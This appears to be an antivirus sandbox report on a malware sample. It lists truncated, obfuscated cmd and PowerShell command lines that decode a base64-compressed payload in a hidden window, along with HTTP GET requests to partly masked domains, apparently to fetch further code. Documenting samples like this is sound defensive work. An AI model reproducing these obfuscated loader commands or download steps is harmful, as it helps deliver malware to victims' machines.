Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' <SYSTEM32>\cMd /c "SEt KQI= (nEW-oBJecT SySTem.Io.StReaMReaDEr( ( nEW-oBJecT io.cOMPReSsion.DeFLAtEStReAm([iO.MEmORYstrEAm] [SyStEm.CONVeRT]::fROMBASe64STRing( 'PZBba8JAEIX/Sh4W1mDdVLBaXA...
Network activity
Connects to
- 'bi###st.co.id':80
- 'bi###st.co.id':443
- 'te####wood.co.ke':80
TCP
HTTP GET requests
- http://bi###st.co.id/xdNPGw7Q1
- http://te####wood.co.ke/6Ge0AkJv1Q
- http://www.te####wood.co.ke/6Ge0AkJv1Q
Other
- 'bi###st.co.id':443
UDP
- DNS ASK bi###st.co.id
- DNS ASK ku####andung.com
- DNS ASK te####wood.co.ke
- DNS ASK ne##roup.io
- DNS ASK ti###ohani.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' <SYSTEM32>\cMd /c "SEt KQI= (nEW-oBJecT SySTem.Io.StReaMReaDEr( ( nEW-oBJecT io.cOMPReSsion.DeFLAtEStReAm([iO.MEmORYstrEAm] [SyStEm.CONVeRT]::fROMBASe64STRing( 'PZBba8JAEIX/Sh4W1mDdVLBaXA...' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' & ( \"{0}{1}\" -f'SET-ItE','m' ) ('Va' +'RI'+ 'AbLE:jW1V') ( [tYpE](\"{1}{0}{2}\" -f'nVi','E','rONMENT') ) ; &( ${En`V:`comS`PeC}[4,24,25]-join'' )( ( ( . ( \"{1}{0}{2}{3}\" -...
